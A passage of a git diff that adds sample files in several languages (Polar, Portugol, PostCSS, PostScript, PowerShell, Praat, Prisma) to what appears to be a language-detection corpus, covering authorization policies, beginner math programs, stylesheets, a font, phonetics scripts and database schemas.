+    "admin" if "admin" on "organization";
+    "reader" if "editor";
+    "editor" if "maintainer";
+    "maintainer" if "admin";
+
+    # reader permissions
+    "read" if "reader";
+    "create_issues" if "reader";
+
+    # editor permissions
+    "write" if "editor";
+    "manage_jobs" if "editor";
+    "manage_issues" if "editor";
+    "view_members" if "maintainer";
+
+    # admin permissions
+    "manage_members" if "admin";
+    "update" if "admin";
+    "delete" if "admin";
+    "invite" if "admin" ;
+}
+
+resource Issue {
+    permissions = ["read", "comment", "close"];
+    roles = ["reader", "admin", "creator"];
+    relations = { repository: Repository };
+
+    "reader" if "reader" on "repository";
+    "admin" if "admin" on "repository";
+
+    "read" if "reader";
+    "comment" if "admin";
+    "close" if "creator";
+    "close" if "admin";
+}
+
+has_permission(_: Actor, "read", repo: Repository) if
+    is_public(repo);
+
+
+has_permission(actor: Actor, "delete", repo: Repository) if
+    has_role(actor, "member", repo) and
+    is_protected(repo, false);
+
+
+# readers can only comment on open issues
+has_permission(actor: Actor, "comment", issue: Issue) if
+    has_permission(actor, "read", issue) and
+    is_closed(issue, false);
+
+
+# Misc rules:
+## All organizations are public
+has_permission(_: User, "read", _: Organization);
+has_permission(_: User, "create", "Organization");
+## Users can read all users
+has_permission(_: User, "read", _: User);
+## Users can only read their own profiles
+has_permission(user: User, "read_profile", user: User);
+has_permission(_: User, "read_profile", _: User);
+
+
+# Complex rules
+
+
+# Actors inherit roles from groups
+has_role(user: User, role: String, resource: Resource) if
+    group matches Group and
+    has_group(user, group) and
+    has_role(group, role, resource);
+
+# Nested group
+has_group(user: User, group: Group) if
+    g matches Group and
+    has_group(user, g) and
+    has_group(g, group);
+
+# A custom role is defined by the permissions it grants
+has_permission(actor: Actor, action: String, org: Organization) if
+    role matches Role and
+    has_role(actor, role, org) and
+    grants_permission(role, action);
+
+has_role(actor: Actor, role: String, repo: Repository) if
+    org matches Organization and
+    has_relation(repo, "organization", org) and
+    has_default_role(org, role) and
+    has_role(actor, "member", org);
diff --git a/samples/Polar/gitclub.polar b/samples/Polar/gitclub.polar
new file mode 100644
index 0000000000..a6fbf2ca5e
--- /dev/null
+++ b/samples/Polar/gitclub.polar
@@ -0,0 +1,91 @@
+allow(actor, action, resource) if
+  has_permission(actor, action, resource);
+
+# Users can see each other.
+has_permission(_: User, "read", _: User);
+
+# A User can read their own profile.
+has_permission(_: User{id: id}, "read_profile", _:User{id: id});
+
+# Any logged-in user can create a new org.
+has_permission(_: User, "create", _: Org);
+
+actor User {}
+
+resource Org {
+  roles = ["owner", "member"];
+  permissions = [
+    "read",
+    "create_repos",
+    "list_repos",
+    "create_role_assignments",
+    "list_role_assignments",
+    "update_role_assignments",
+    "delete_role_assignments",
+  ];
+
+  "read" if "member";
+  "list_repos" if "member";
+  "list_role_assignments" if "member";
+
+  "create_repos" if "owner";
+  "create_role_assignments" if "owner";
+  "update_role_assignments" if "owner";
+  "delete_role_assignments" if "owner";
+
+  "member" if "owner";
+}
+
+has_role(user: User, name: String, org: Org) if
+    role in user.org_roles and
+    role matches { name: name, org: org };
+
+resource Repo {
+  roles = ["admin", "maintainer", "reader"];
+  permissions = [
+    "read",
+    "create_issues",
+    "list_issues",
+    "create_role_assignments",
+    "list_role_assignments",
+    "update_role_assignments",
+    "delete_role_assignments",
+  ];
+  relations = { parent: Org };
+
+  "create_role_assignments" if "admin";
+  "list_role_assignments" if "admin";
+  "update_role_assignments" if "admin";
+  "delete_role_assignments" if "admin";
+
+
+  "read" if "reader";
+  "list_issues" if "reader";
+  "create_issues" if "reader";
+
+  "admin" if "owner" on "parent";
+  "reader" if "member" on "parent";
+
+  "maintainer" if "admin";
+  "reader" if "maintainer";
+}
+
+has_role(user: User, name: String, repo: Repo) if
+    role in user.repo_roles and
+    role matches { name: name, repo: repo };
+
+has_relation(org: Org, "parent", repo: Repo) if repo.org = org;
+
+resource Issue {
+  roles = ["creator"];
+  permissions = ["read", "close"];
+  relations = { parent: Repo };
+  "read" if "reader" on "parent";
+  "close" if "maintainer" on "parent";
+  "close" if "creator";
+}
+
+has_relation(repo: Repo, "parent", issue: Issue) if issue.repo = repo;
+
+has_role(user: User, "creator", issue: Issue) if
+    issue.creator = user;
diff --git a/samples/Portugol/medias.por b/samples/Portugol/medias.por
new file mode 100644
index 0000000000..55a9c80e50
--- /dev/null
+++ b/samples/Portugol/medias.por
@@ -0,0 +1,65 @@
+
+/* CLIQUE NO SINAL DE "+", À ESQUERDA, PARA EXIBIR A DESCRIÇÃO DO EXEMPLO
+ *  
+ * Copyright (C) 2014 - UNIVALI - Universidade do Vale do Itajaí
+ * 
+ * Este arquivo de código fonte é livre para utilização, cópia e/ou modificação
+ * desde que este cabeçalho, contendo os direitos autorais e a descrição do programa, 
+ * seja mantido.
+ * 
+ * Se tiver dificuldade em compreender este exemplo, acesse as vídeoaulas do Portugol 
+ * Studio para auxiliá-lo:
+ * 
+ * https://www.youtube.com/watch?v=K02TnB3IGnQ&list=PLb9yvNDCid3jQAEbNoPHtPR0SWwmRSM-t
+ * 
+ * Descrição:
+ * 
+ * 	Este exemplo pede ao usuário que informe três médias. Logo após, calcula 
+ * 	e exibe a média final destas notas. Por últmo, verifica se alguma das 
+ * 	médias parciais é menor que a média final e a exibe (caso exista).
+ * 
+ * Autores:
+ * 
+ * 	Giordana Maria da Costa Valle
+ * 	Carlos Alexandre Krueger
+ * 	
+ * Data: 01/06/2013
+ */
+
+programa
+{
+	inclua biblioteca Matematica --> mat
+
+	funcao inicio ()
+	{
+		real m1, m2, m3, media
+
+		escreva ("Informe a média 1: " )
+		leia (m1)
+		escreva( "Informe a média 2: ")
+		leia (m2)
+		escreva ("Informe a média 3: ")
+		leia (m3)
+
+		media = (m1 + m2 + m3) / 3 
+
+		limpa()
+		escreva ("A média final é: ", mat.arredondar(media, 2), "\n\n")
+
+
+		se (m1 < media)
+		{ 
+			escreva ("A média 1 é menor que a média final\n") 
+		}
+
+		se (m2 < media) 
+		{
+			escreva ("A média 2 é menor que a média final\n")
+		}
+
+		se (m3 < media)
+		{
+			escreva ("A média 3 é menor que a média final\n")
+		}		
+	}
+}
diff --git a/samples/Portugol/potencia_raiz.por b/samples/Portugol/potencia_raiz.por
new file mode 100644
index 0000000000..54efd13537
--- /dev/null
+++ b/samples/Portugol/potencia_raiz.por
@@ -0,0 +1,50 @@
+
+/* CLIQUE NO SINAL DE "+", À ESQUERDA, PARA EXIBIR A DESCRIÇÃO DO EXEMPLO
+ *  
+ * Copyright (C) 2014 - UNIVALI - Universidade do Vale do Itajaí
+ * 
+ * Este arquivo de código fonte é livre para utilização, cópia e/ou modificação
+ * desde que este cabeçalho, contendo os direitos autorais e a descrição do programa, 
+ * seja mantido.
+ * 
+ * Se tiver dificuldade em compreender este exemplo, acesse as vídeoaulas do Portugol 
+ * Studio para auxiliá-lo:
+ * 
+ * https://www.youtube.com/watch?v=K02TnB3IGnQ&list=PLb9yvNDCid3jQAEbNoPHtPR0SWwmRSM-t
+ * 
+ * Descrição:
+ * 
+ * 	Este exemplo pede ao usuario que informe um valor. Logo após, utiliza a biblioteca
+ * 	Matematica para calcular e exibir:
+ * 		
+ * 		a) O número elevado ao cubo
+ * 		b) A raiz quadrada do número 
+ * 
+ * Autores:
+ * 
+ * 	Giordana Maria da Costa Valle
+ * 	Carlos Alexandre Krueger
+ * 	
+ * Data: 01/06/2013
+ */
+
+programa
+{
+	inclua biblioteca Matematica --> mat  // Inclui a biblioteca Matemática
+
+	funcao inicio() 
+	{
+		real valor, potencia, raiz_quadrada
+
+		escreva("Digite um valor: ") 
+		leia(valor)
+
+		potencia = mat.potencia(valor, 3.0)  	// Calcula o valor elevado ao cubo
+		raiz_quadrada = mat.raiz (valor, 2.0) 	// Calcula a raiz quadrada do valor
+
+		// Exibe os resultados
+
+		escreva("\nO número ao cubo é: ", potencia, "\n")
+		escreva("A raiz quadrada do número é: ", raiz_quadrada, "\n")
+	}
+}
diff --git a/samples/PostCSS/sample.pcss b/samples/PostCSS/sample.pcss
new file mode 100644
index 0000000000..3ea11f4e01
--- /dev/null
+++ b/samples/PostCSS/sample.pcss
@@ -0,0 +1,13 @@
+@define-mixin size $size {
+  width: $size;
+}
+
+$big: 100px;
+
+/* Main block */
+.block {
+  &_logo {
+    background: inline("./logo.png");
+    @mixin size $big;
+  }
+}
diff --git a/samples/PostCSS/sample.postcss b/samples/PostCSS/sample.postcss
new file mode 100644
index 0000000000..b9428c3930
--- /dev/null
+++ b/samples/PostCSS/sample.postcss
@@ -0,0 +1,165 @@
+.markdown {
+  @apply overflow-hidden;
+
+  img {
+    @apply inline-block;
+
+    &.ally-bg {
+      @apply bg-gray-200 rounded p-2;
+
+      &.avatar {
+        @apply p-0 rounded-lg;
+      }
+    }
+
+    &[align="left"] {
+      @apply mr-5;
+    }
+
+    &[align="right"] {
+      @apply ml-5;
+    }
+  }
+
+  a {
+    @apply text-purple-500;
+
+    &:hover {
+      @apply text-purple-400;
+    }
+  }
+
+  h1 {
+    @apply text-3xl mt-8 mb-4 text-gray-600;
+
+    @media (max-width: 640px) {
+      @apply text-2xl;
+    }
+  }
+
+  h2 {
+    @apply text-2xl;
+
+    @media (max-width: 640px) {
+      @apply text-xl;
+    }
+  }
+
+  h3 {
+    @apply text-xl;
+
+    @media (max-width: 640px) {
+      @apply text-lg;
+    }
+  }
+
+  h1, h2 {
+    @apply pb-2 border-b border-gray-800;
+  }
+
+  h2, h3 {
+    @apply mt-8 mb-3 text-gray-500;
+  }
+
+  h4, h5, h6 {
+    @apply text-lg mt-6;
+
+    @media (max-width: 640px) {
+      @apply text-base;
+    }
+  }
+
+  h1, h2, h3, h4, h5, h6 {
+    @apply flex flex-wrap items-center whitespace-pre-wrap font-bold;
+
+    &:first-child {
+      @apply mt-0;
+    }
+
+    &[align="center"] {
+      @apply justify-center;
+    }
+
+    &[align="right"] {
+      @apply justify-end;
+    }
+
+    &:hover {
+      .anchor {
+        @apply visible;
+      }
+    }
+  }
+
+  p {
+    @apply my-4;
+  }
+
+  table {
+    border-collapse: collapse;
+  }
+
+  tr {
+    &:nth-child(2n) {
+      @apply bg-gray-850;
+    }
+  }
+
+  td, th {
+    @apply border border-gray-800 p-2;
+  }
+
+  hr {
+    @apply border-gray-800;
+  }
+
+  ul {
+    @apply list-disc;
+  }
+
+  ol {
+    @apply list-decimal;
+  }
+
+  ul, ol {
+    @apply my-2 pl-2;
+  }
+
+  li {
+    @apply ml-6;
+  }
+
+  pre {
+    @apply text-white bg-gray-850 rounded p-4 my-4 overflow-x-auto;
+    font-size: 14px;
+  }
+
+  code {
+    @apply text-white bg-gray-850 rounded px-2 py-1 break-words;
+  }
+
+  blockquote {
+    @apply pl-4 my-4 border-l-4 border-purple-700 text-gray-500;
+
+    p {
+      &:first-child {
+        @apply mt-0;
+      }
+
+      &:last-child {
+        @apply mb-0;
+      }
+    }
+  }
+
+  .markdown-body {
+    @apply p-0;
+  }
+
+  .anchor {
+    @apply invisible text-gray-600 pr-1 -ml-5 h-6 flex items-center;
+    svg {
+      @apply fill-current;
+    }
+  }
+}
diff --git a/samples/PostScript/lambda.pfa b/samples/PostScript/lambda.pfa
new file mode 100644
index 0000000000..8fa193afb3
--- /dev/null
+++ b/samples/PostScript/lambda.pfa
@@ -0,0 +1,78 @@
+%!PS-AdobeFont-1.0: Greek_Lambda_Character-Regular 020.017
+%%Title: Greek_Lambda_Character-Regular
+%Version: 020.017
+%%CreationDate: Sun Jul 23 23:14:02 2017
+%%Creator: John Gardner /ThatGuyLinguistWatchersAreSickOf
+%Copyright: NONE. NADA. PUBLIC DOMAIN, BOI
+% Generated by FontForge 20170719 (http://fontforge.sf.net/)
+%%EndComments
+
+10 dict begin
+/FontType 1 def
+/FontMatrix [0.000488281 0 0 0.000488281 0 0 ]readonly def
+/FontName /Greek_Lambda_Character-Regular def
+/FontBBox {68 -362 1158 1556 }readonly def
+/PaintType 0 def
+/FontInfo 11 dict dup begin
+ /version (020.017) readonly def
+ /Notice (NONE. NADA. PUBLIC DOMAIN, BOI) readonly def
+ /FullName (Greek_Lambda_Character Regular) readonly def
+ /FamilyName (Greek_Lambda_Character) readonly def
+ /Weight (Regular) readonly def
+ /FSType 8 def
+ /ItalicAngle 0 def
+ /isFixedPitch false def
+ /UnderlinePosition -175 def
+ /UnderlineThickness 90 def
+ /ascent 1556 def
+end readonly def
+/Encoding 256 array
+ 0 1 255 { 1 index exch /.notdef put} for
+dup 13/uni000D put
+dup 32/space put
+readonly def
+currentdict end
+currentfile eexec
+743F8413F3636CA85A9FFEFB50B4BB27302A5F6C876586CCC1670A7EF5521E6ADE15AAB4
+DD2DDDB83735311FC63DB80D2C96AECFA05BB67F865EA35934B4B79A203A8DD489B09C79
+FF6EB9DBCFD889C3E73F8C94BC342AF671D6F688870A62EE1A0DF216E150FFEC64A8C2B7
+509AD05C011599C1AD84E6C4B668E07EA219BD72663D8AF4CA8EC8E23AA90DE90BE940C6
+6DB849CEDB3B64961365A7CCE47F4FC9E30FDEE4B14B90C2E0D8C344EBC974EABF417B3D
+28251A78ACEE2BFC4212B1E3E9C7EBC3262821EE98E538713C64DF0BC13C19337B1307DE
+427F2C8C4FF2126B9FF99DDDFB332AF3EBCD23349171C5C7E66B1C53EF39C35516C0DC7D
+D6F70D59C28603519559B710C0128C22BA268D330AE02690534939E5B58BAAB00A59B0E6
+E515E80A04F2B315A00FB1CA49A4B0259167BBA9852544092955FE0883DBCD89B739AA94
+8C6277B54019E9870B44E5A998F0F2175545F602CC4630E4BE01E35F4CEFDD7D1B737358
+1B2D6F612B23AFAF221AB18CD868E7548EE5064762971F8868940F26134CA7BB40734220
+06EEBE10B5F5251FE36B0E794D8B0D7AC814F4C30BB5A0435C203748B40217BEAF506328
+D30E9417382B228FF6DF97A71135B613CC3EF4CDD8276711842C3DB0D31A25883544FFF5
+D8719874AD10816F3EB272D5C245440127B9F2967DC46EAF4BED77FF2C2585A355EB586E
+09BE8BA3D104EA174EA004DCE00066F7606EEF55376E332566235B8F4283D63E2AE5F2E3
+6A6940BED4FA83C6E82C444B2D790BAA36E641908C61F6409CA09D9723B2F169BE42B166
+5E704AA69D594B2A22C631D030029B772C3C200A0A483A13403E2EF19274B73860FFEA37
+521C65865A79A5429EED01C0F95AB6F66F030BF14CCB42A6DA2435B74135BB5D35EF6DC6
+FE48D29690417795B9D7AA2A3D66B7A175F8B6C23AFB5A472343C2DFDCC242C27033DD6F
+B65B1CD5DC29B9DA455FAAC3A9408BB9B61C2B701741C34CE88EBFF05B7045CBEAC8788E
+548F0E642277D4F9AED30A3431070805910970243FD069130D641AFAE28754B1355618B8
+706D163027980F2A76A59E0B9D2FB92BF17943129A8A6FB15CBF6D376C464329E24A118B
+8E38987CDD4CD5F214B26D65BEEDB2ECD7502861747089298A653654062A3AD5AC4FC4AF
+5DEF7BDD4C5CDBC828A1F12235F68522B45BE0C2D6FB663B51E76BF559815F41C25EC7F8
+17A92B9E139F3E6D27A8512A261EE576459DE603F386516E46B8326574E900101A8D49C9
+E8798E734F56C4E2D78B14D6B14E96F3523F3F34464235C96F94609852F90A0A1B51CE14
+25EC76E65E5D1C5D2EEC730FC438F4083A806C67D0A1566D0E6EF70DC38E64DCA44DFA66
+20073E848BDFDB2B793AFE29B47917D87CB8320F48A7C083CAAD2CA20C25D705D78B33D5
+A5EAB8C671A57BBC3C896DE54C71B8F860B640B7C30199A2443353E3727FA99C168DB4E8
+ABE021B7DDB526E30B2075028BD8D387D32E025E458D05E3A25B9BC94ED54F7A0FCA3D61
+604D2F49A205CBDF5FBDD5D3E1D31C6F7310CC155982689FA1F5723DDAE2EDEB5E69F03C
+4CCDBBCB348E57AF222744A07DCCE69236EB29499A87C0A201EDD6A402EA23C035732184
+339049E8C101388304CD20EAA8554A9B6E4F2B126A0593F4401992E73F7BFEF89DE3DFDE
+DA548E3EE05D5B4EE0D114F916
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000
+cleartomark
diff --git a/samples/PostScript/xlogo.epsi b/samples/PostScript/xlogo.epsi
new file mode 100644
index 0000000000..829bf2b2fa
--- /dev/null
+++ b/samples/PostScript/xlogo.epsi
@@ -0,0 +1,99 @@
+%!PS-Adobe-3.0 EPSF-3.0
+%%Title: X Logo
+%%Creator: Stephen Gildea <gildea@x.org>
+%%BoundingBox: 0 0 44 44
+%%EndComments
+%%BeginPreview: 44 44 1 44
+% fff0000000f0
+% 7ff8000001e0
+% 3ff8000003c0
+% 1ffc00000780
+% 1ffe00000780
+% 0fff00000f00
+% 07ff00001e00
+% 07ff80003c00
+% 03ffc0007800
+% 01ffc0007800
+% 00ffe000f000
+% 00fff001e000
+% 007ff803c000
+% 003ff8078000
+% 001ffc078000
+% 001ffe0f0000
+% 000fff1e0000
+% 0007ff3c0000
+% 0003ff3c0000
+% 0003fe780000
+% 0001fcf00000
+% 0000f9e00000
+% 000079f00000
+% 0000f3f80000
+% 0001e7fc0000
+% 0003cffc0000
+% 0003cffe0000
+% 00078fff0000
+% 000f07ff8000
+% 001e03ff8000
+% 001e01ffc000
+% 003c01ffe000
+% 007800fff000
+% 00f0007ff000
+% 01e0003ff800
+% 01e0003ffc00
+% 03c0001ffe00
+% 0780000ffe00
+% 0f00000fff00
+% 1e000007ff80
+% 1e000003ff80
+% 3c000001ffc0
+% 78000001ffe0
+% f0000000fff0
+%%EndPreview
+% Draw the "official" X Window System Logo, designed by Danny Chong.
+% Code translated from Xmu/DrawLogo.c by gildea, July 1994.
+/size 44 def
+/thin size 11 idiv def
+/gap thin 3 add 4 idiv def
+/d31 thin gap thin add add def
+% Draw what will be the thin strokes.
+newpath
+size  dup moveto
+size d31 sub  size lineto
+0  0 lineto
+d31  0 lineto
+closepath
+fill
+% Erase area not needed for lower thin stroke.
+1 setgray
+newpath
+d31 2 idiv  0 moveto
+size 2 idiv  dup lineto
+size 2 idiv d31 d31 2 idiv sub add  size 2 idiv lineto
+d31  0 lineto
+closepath
+% Erase area not needed for upper thin stroke.
+size d31 2 idiv sub  size moveto
+size 2 idiv  dup lineto
+size 2 idiv d31 dup 2 idiv sub sub  size 2 idiv lineto
+size d31 sub  size lineto
+closepath
+fill
+% Draw thick stroke.
+0 setgray
+newpath
+0  size moveto
+size 4 idiv  size lineto
+size  0 lineto
+size dup 4 idiv sub  0 lineto
+closepath
+fill
+% Erase to create gap.
+1 setgray
+newpath
+size thin sub  size moveto
+size thin gap add sub  size lineto
+thin  0 lineto
+thin gap add  0 lineto
+closepath
+fill
+%%EOF
diff --git a/samples/PowerShell/pwsh-shebang.ps1 b/samples/PowerShell/pwsh-shebang.ps1
new file mode 100644
index 0000000000..873c35d8d4
--- /dev/null
+++ b/samples/PowerShell/pwsh-shebang.ps1
@@ -0,0 +1,21 @@
+#!/usr/bin/env pwsh
+
+# source:  https://github.com/PowerShell/PowerShellStandard/blob/3436bfc162d6804dd11d1d76c4faff486b4b405d/build.ps1
+
+param ( 
+    [Parameter(ParameterSetName="Clean")][switch]$Clean,
+    [Parameter(ParameterSetName="Test")][switch]$Test
+)
+
+import-module $PSScriptRoot/PowerShellStandard.psm1 -force
+
+if ( $Clean ) {
+    Start-Clean
+    return
+}
+
+Start-Build
+
+if ( $Test ) {
+    Invoke-Test
+}
diff --git a/samples/Praat/dynamicity.praat b/samples/Praat/dynamicity.praat
new file mode 100644
index 0000000000..0f485c888c
--- /dev/null
+++ b/samples/Praat/dynamicity.praat
@@ -0,0 +1,175 @@
+form Textgrid Convolution
+    comment calculate a Moving Average across a textgrid.
+    comment does not perform an fft convolution, instead using a dumb algorithm.
+    comment presumes the textgrid is selected.
+    real steps_per_second 5
+    real window_length_sec 5
+    optionmenu kernel 1
+        option moving_average
+#       option gaussian
+    optionmenu normalisation 1
+        option amount
+        option window_length
+        option none
+    endform
+
+nrTiers    = Get number of tiers
+isInterval = Is interval tier: 1
+
+if nrTiers != 1
+    exitScript: "Can only use dynamicity.praat on a TextGrid with exactly one Tier"
+    endif
+
+if isInterval == 1
+    @preposess_intervals
+    @calculate_nr_steps
+    @interval_convolution
+    @write_to_textgrid
+else
+    @calculate_nr_steps
+    @point_convolution
+    @write_to_textgrid
+    endif
+
+
+procedure preposess_intervals
+    nrIntervals = Get number of intervals: 1
+
+    for i to nrIntervals
+        label$ = Get label of interval: 1, i
+        if label$ <> "" and label$ != "MISSING"
+            variable = number(label$)
+            Set interval text: 1, i, string$(variable)
+        endif
+    endfor
+endproc
+
+procedure calculate_nr_steps
+    start = Get start time
+    end   = Get end time
+    duration = end - start
+    nrSteps = floor((duration-window_length_sec)*steps_per_second)
+    if nrSteps < 0
+        nrSteps = 0
+        endif
+endproc
+
+procedure interval_convolution
+    k=1
+    movingStart = start
+    movingEnd = movingStart + window_length_sec
+    nrIntervals = Get number of intervals: 1
+
+    if nrIntervals == 0
+        nrSteps = 0
+        k = 0
+        endif
+
+    result# = zero#(nrSteps)
+    for i to nrSteps
+        intervalEnd = Get end time of interval: 1, k
+        while (intervalEnd < movingStart) and (k < nrIntervals)
+            k+=1
+            intervalEnd = Get end time of interval: 1, k
+            endwhile
+
+        movingSum = 0
+        amountSummed = 0
+
+        j=0
+        intervalStart = Get start time of interval: 1, k+j
+        while (intervalStart < movingEnd) and (k+j <= nrIntervals)
+            label$ = Get label of interval: 1, k+j
+            if label$ <> "" and label$ != "MISSING"
+                movingSum += number(label$)
+                amountSummed+= 1
+                endif
+
+            j+=1
+            if (k+j <= nrIntervals)
+                intervalStart = Get start time of interval: 1, k+j
+                endif
+            endwhile
+
+        movingStart+=(1/steps_per_second)
+        movingEnd+=(1/steps_per_second)
+
+        if normalisation == 1
+            result#[i] = movingSum/amountSummed
+        elsif normalisation == 2
+            result#[i] = movingSum/window_length_sec
+        elsif normalisation == 3
+            result#[i] = movingSum
+            endif
+        endfor
+endproc
+
+procedure point_convolution
+    k=1
+    movingStart = start
+    movingEnd = movingStart + window_length_sec
+    nrPoints = Get number of points: 1
+
+    if nrPoints == 0
+        nrSteps = 0
+        k = 0
+        endif
+
+    result# = zero#(nrSteps)
+    for i to nrSteps
+        pointStart = Get time of point: 1, k
+        while (pointStart < movingStart) and (k < nrPoints)
+            k+=1
+            pointStart = Get time of point: 1, k
+            endwhile
+
+        movingSum = 0
+        amountSummed = 0
+
+        j=0
+        pointEnd = Get time of point: 1, k+j
+        while (pointEnd < movingEnd) and (k+j <= nrPoints)
+            movingSum += 1
+
+            j+=1
+            if (k+j <= nrPoints)
+                pointEnd = Get time of point: 1, k+j
+                endif
+            endwhile
+
+        movingStart+=(1/steps_per_second)
+        movingEnd+=(1/steps_per_second)
+
+        result#[i] = movingSum
+        endfor
+endproc
+
+procedure write_to_textgrid
+    tierName$ = Get tier name: 1
+    Insert interval tier: 2, tierName$ + "Dyn"
+
+    movingBoundary = (window_length_sec/2) - ((1/steps_per_second)/2)
+
+    if movingBoundary <= 0
+        start = 0.01
+    else
+        start = movingBoundary
+        endif
+
+    Insert boundary: 2, start
+
+    for i to nrSteps
+        movingBoundary+= 1/steps_per_second
+
+        if movingBoundary >= end
+            movingBoundary = end - (0.01 * nrSteps - (i + 1))
+            endif
+
+        Insert boundary: 2, movingBoundary
+        if result#[i] == undefined
+            Set interval text: 2, i+1, ""
+        else
+            Set interval text: 2, i+1, string$(result#[i])
+            endif
+        endfor
+endproc
diff --git a/samples/Praat/queryTable.praat b/samples/Praat/queryTable.praat
new file mode 100644
index 0000000000..2eb3e1185e
--- /dev/null
+++ b/samples/Praat/queryTable.praat
@@ -0,0 +1,73 @@
+form Querying
+    integer tier 1
+    integer nrFormants 10
+endform
+
+idSounds = Create Strings as file list: "Sounds", "*.flac"
+idGrids = Create Strings as file list: "Grids", "*.TextGrid"
+nrGrids = Get number of strings
+
+for i to nrGrids
+    selectObject: idSounds
+    sound$ = Get string: i
+    idSound = Read from file: sound$
+
+    idFormant = To Formant (burg): 0, 5, 5500, 0.025, 50
+
+    selectObject: idGrids
+    grid$ = Get string: i
+
+    idTable = Create Table with column names: grid$, 0, "Index Vowel Start End Duration F1 F2"
+    idGrid = Read from file: grid$
+
+    nrInt = Get number of intervals: tier
+    k = 1
+
+    for j to nrInt
+        lab$ = Get label of interval: tier, j
+
+        if lab$ = "aa" or lab$ = "u" or lab$ = "i"
+
+            index$ = string$(k)
+            start = Get start time of interval: tier, j
+            start$ = string$(start)
+            end = Get end time of interval: tier, j
+            end$ = string$(end)
+            dur = end - start
+            dur$ = string$(dur)
+
+            for l to nrFormants
+                row = l + (k-1)*nrFormants
+                time = start + dur*(l/nrFormants)
+
+                selectObject: idFormant
+                f1$ = Get value at time: 1, time, "hertz", "linear"
+                f2$ = Get value at time: 2, time, "hertz", "linear"
+
+                selectObject: idTable
+                Insert row: row
+                Set string value: row, "Index", index$
+                Set string value: row, "Vowel", lab$
+                Set string value: row, "Start", start$
+                Set string value: row, "End", end$
+                Set string value: row, "Duration", dur$
+                Set string value: row, "F1", f1$
+                Set string value: row, "F2", f2$
+
+            endfor
+
+            selectObject: idGrid
+            k = k + 1
+        endif
+
+    endfor
+
+    name$ = selected$("TextGrid")
+    selectObject: idTable
+    Save as tab-separated file: name$ + ".dat"
+
+    removeObject: idSound, idTable, idFormant, idGrid
+
+endfor
+
+removeObject: idGrids, idSounds
diff --git a/samples/Praat/randomiseArticles.praat b/samples/Praat/randomiseArticles.praat
new file mode 100644
index 0000000000..2eb3e1185e
--- /dev/null
+++ b/samples/Praat/randomiseArticles.praat
@@ -0,0 +1,73 @@
+form Querying
+    integer tier 1
+    integer nrFormants 10
+endform
+
+idSounds = Create Strings as file list: "Sounds", "*.flac"
+idGrids = Create Strings as file list: "Grids", "*.TextGrid"
+nrGrids = Get number of strings
+
+for i to nrGrids
+    selectObject: idSounds
+    sound$ = Get string: i
+    idSound = Read from file: sound$
+
+    idFormant = To Formant (burg): 0, 5, 5500, 0.025, 50
+
+    selectObject: idGrids
+    grid$ = Get string: i
+
+    idTable = Create Table with column names: grid$, 0, "Index Vowel Start End Duration F1 F2"
+    idGrid = Read from file: grid$
+
+    nrInt = Get number of intervals: tier
+    k = 1
+
+    for j to nrInt
+        lab$ = Get label of interval: tier, j
+
+        if lab$ = "aa" or lab$ = "u" or lab$ = "i"
+
+            index$ = string$(k)
+            start = Get start time of interval: tier, j
+            start$ = string$(start)
+            end = Get end time of interval: tier, j
+            end$ = string$(end)
+            dur = end - start
+            dur$ = string$(dur)
+
+            for l to nrFormants
+                row = l + (k-1)*nrFormants
+                time = start + dur*(l/nrFormants)
+
+                selectObject: idFormant
+                f1$ = Get value at time: 1, time, "hertz", "linear"
+                f2$ = Get value at time: 2, time, "hertz", "linear"
+
+                selectObject: idTable
+                Insert row: row
+                Set string value: row, "Index", index$
+                Set string value: row, "Vowel", lab$
+                Set string value: row, "Start", start$
+                Set string value: row, "End", end$
+                Set string value: row, "Duration", dur$
+                Set string value: row, "F1", f1$
+                Set string value: row, "F2", f2$
+
+            endfor
+
+            selectObject: idGrid
+            k = k + 1
+        endif
+
+    endfor
+
+    name$ = selected$("TextGrid")
+    selectObject: idTable
+    Save as tab-separated file: name$ + ".dat"
+
+    removeObject: idSound, idTable, idFormant, idGrid
+
+endfor
+
+removeObject: idGrids, idSounds
diff --git a/samples/Prisma/blog-minimal-schema.prisma b/samples/Prisma/blog-minimal-schema.prisma
new file mode 100644
index 0000000000..68288bc113
--- /dev/null
+++ b/samples/Prisma/blog-minimal-schema.prisma
@@ -0,0 +1,25 @@
+datasource mysql {
+  provider = "mysql"
+  url      = env("MYSQL_URL")
+}
+
+generator photon {
+  provider = "photonjs"
+}
+
+model Author {
+  id    String  @default(cuid()) @id @unique
+  email String  @unique
+  name  String?
+  posts Post[]
+}
+
+model Post {
+  id        String   @default(cuid()) @id @unique
+  createdAt DateTime @default(now())
+  updatedAt DateTime @updatedAt
+  published Boolean
+  title     String
+  content   String?
+  author    Author?
+}
\ No newline at end of file
diff --git a/samples/Prisma/blog-schema-advanced.prisma b/samples/Prisma/blog-schema-advanced.prisma
new file mode 100644
index 0000000000..696eeb9e75
--- /dev/null
+++ b/samples/Prisma/blog-schema-advanced.prisma
@@ -0,0 +1,41 @@
+datasource sqlite {
+  url      = "file:data.db"
+  provider = "sqlite"
+}
+
+model User {
+  id        Int      @id
+  createdAt DateTime @default(now())
+  email     String   @unique
+  name      String?
+  role      Role     @default(USER)
+  posts     Post[]
+  profile   Profile?
+}
+
+model Profile {
+  id   Int    @id
+  user User
+  bio  String
+}
+
+model Post {
+  id         Int        @id
+  createdAt  DateTime   @default(now())
+  updatedAt  DateTime   @updatedAt
+  author     User
+  title      String
+  published  Boolean    @default(false)
+  categories Category[]
+}
+
+model Category {
+  id    Int    @id
+  name  String
+  posts Post[]
+}
+
+enum Role {
+  USER
+  ADMIN
+}
\ No newline at end of file
diff --git a/samples/Prisma/mcu-schema.prisma b/samples/Prisma/mcu-schema.prisma
new file mode 100644
index 0000000000..812c9cfad3
--- /dev/null
+++ b/samples/Prisma/mcu-schema.prisma
@@ -0,0 +1,32 @@
+datasource db {
+  provider = "sqlite"
+  url      = "file:dev.db"
+  default  = true
+}
+
+generator photon {
+  provider = "photonjs"
+  output   = "node_modules/@generated/photon"
+}
+
+generator nexus_prisma {
+  provider = "nexus-prisma"
+  output   = "node_modules/@generated/nexus-prisma"
+}
+
+model Hero {
+  id     String  @default(cuid()) @id @unique
+  email  String  @unique
+  name   String?
+  movies Movie[]
+}
+
+model Movie {
